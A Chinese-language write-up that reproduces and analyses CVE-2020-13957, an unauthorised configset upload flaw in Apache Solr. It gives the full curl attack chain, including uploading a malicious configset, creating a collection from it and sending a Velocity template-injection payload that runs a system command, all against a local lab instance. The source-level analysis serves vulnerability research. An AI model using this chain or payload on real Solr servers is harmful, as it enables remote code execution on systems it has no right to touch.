CVE-2020-13957 Apache Solr 未授权上传漏洞复现&&分析
漏洞版本
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
<!--more-->
环境搭建
1.在github上下载对应的源码包解压到本地,同时记得装好ivy:

2.为了下载依赖环境体验极佳,请先为以下两个文件加自己的代理:
\lucene-solr-releases-lucene-solr-8.6.2\build.xml:

<setproxy proxyhost="your-ip" proxyport="your-port"/>
\lucene-solr-releases-lucene-solr-8.6.2\solr\build.xml同理
3.开始构建环境:
在\lucene-solr-releases-lucene-solr-8.6.2\输入ant ivy-bootstrap

然后编译server:
cd solr
ant server 

由于设置了代理,可享受丝滑的下载体验
这一步完成之后返回上级目录:
cd ../
ant idea 

由于之前构建的时候留有缓存,所以这次比较快,我第一次构建的时候大概用了20分钟左右:
然后开启solr并设置远程debug:
cd \solr\bin
.\solr -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983 
这个时候就可以进入idea里面设置远程调试参数了,并启用该远程调试:

与此同时powershell里面:

没有报错已经成功运行起来了,访问127.0.0.1:8983我们可以看到熟悉的solr界面了:

漏洞复现
开启Solr Cloud模式
由于该漏洞涉及到cloud模块,而从上图来看并没有,原因是因为我们没有进行cloud模式启动,我们
使用下面两个命令启动cloud模式(需要开两个shell)
首先创建两个文件夹,将\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr下的zoo.cfg和solr.xml复制到新建的目录下。
然后先开这个(如果需要debug则idea需要开启远程调用)
.\solr -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=18522" -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest1 
再开下面这个
.\solr -c -f -p 8983 -s D:\SecureLearn\solr-8.6.2\solrTest2 -m 100M -z 127.0.0.1:9983 
这东西后面报错挂掉也不是很影响,或者可以直接加-e cloud的参数快速启动也可以
之后进入127.0.0.1:8983就可以找到cloud模块了:

构建恶意configset
该漏洞成因是能够上传含有恶意配置的solrconfig.xml配置文件,我们可以先看看网上POC如何构造的:POC
恶意点出现在此处:

此恶意类为solr.VelocityResponseWriter该类曾被爆出过存在模板注入导致命令执行漏洞,其中params.resource.loader.enabled为允许用户通过设置请求参数来指定相关资源的加载,也就是说通过这一步配置我们可以加载其他恶意类。
我们可以更改原配置然后重新打包一份:
\lucene-solr-releases-lucene-solr-8.6.2\solr\server\solr\configsets\sample_techproducts_configs\conf
找到对应的地方加入恶意参数:

然后将这个目录全部打包:
zip -r - * > eviltest.zip 
上传:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest" 
查看是否上传成功:
curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true" 
利用create操作创建新配置:
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil&baseConfigSet=eviltest&configSetProp.immutable=false&wt=xml&omitHeader=true"

使用之前创建的新配置:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil"

看看面板是否也是成功的:


该有的参数都有
最后测试命令执行:
curl -v "http://127.0.0.1:8983/solr/eviltest/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

发现无法执行,最后怀疑是自己编译出了问题,下载了官方的编译包调试也是这个问题,更换成网络上的POC也是这个问题,大概确定8.6.2版本应该是无法命令执行的,很多网络复现的版本通常是7.7.0~8.2.0都是该模板漏洞存在的版本。
漏洞分析
当传入zip配置文件时,会调用getTrusted函数进行判断是否允许创建该配置对应的node:
org.apache.solr.handler.admin.ConfigSetsHandler
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @eviltest1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=eviltest1"


虽然该配置文件集会被标记成未授信,但仍然会被写入到服务器中

所以我们第一步上传的配置集会被写入到服务器中,然后我们使用该配置集创建配置,由于下一步我们传入的URL中含有CREATE,baseConfigSet等,因此挨个全局搜索找到判定点:
org.apache.solr.handler.admin.ConfigSetsHandler
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest1&configSetProp.immutable=false&wt=xml&omitHeader=true"

结合URL和参数可以看出该操作是以我们刚刚传入的eviltest1为模板,创建新的模板其名字为evil1,跟进copyPropertiesWithPrefix此处会通过configSetProp.前缀,筛选对应的CREATE配置:

我们传入的immutable默认为false,因此从配置的角度来说URL可以稍微简化一点:
curl "http://127.0.0.1:8983/solr/admin/configs?action=CREATE&name=evil1&baseConfigSet=eviltest2&wt=xml&omitHeader=true"

这里同样可以上传成功,值得注意的是我们之前在getTrusted打下的断点没有触发,意味着CREATE这一步在通过母版创建子版的时候是不会触发校验的:

随后我们跟进下一步:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest1&numShards=1&replicationFactor=1&wt=xml&collection.configName=evil1"同样的道理这里出现关键词replicationFactor似乎是一个工厂函数,推测配置就是在这一步创建的,全局搜索replicationFactor,最后最后找了很久发现触发点(利用重复性报错)org.apache.solr.cloud.api.collections.CreateCollectionCmd#call

这个函数非常长,具体作用就是创建collection并判断选用的是哪个configsets,最后刷新collection列表:

通过这一系列的操作最后就能够生成新的collection,即配置被加载,从而能被攻击者利用了。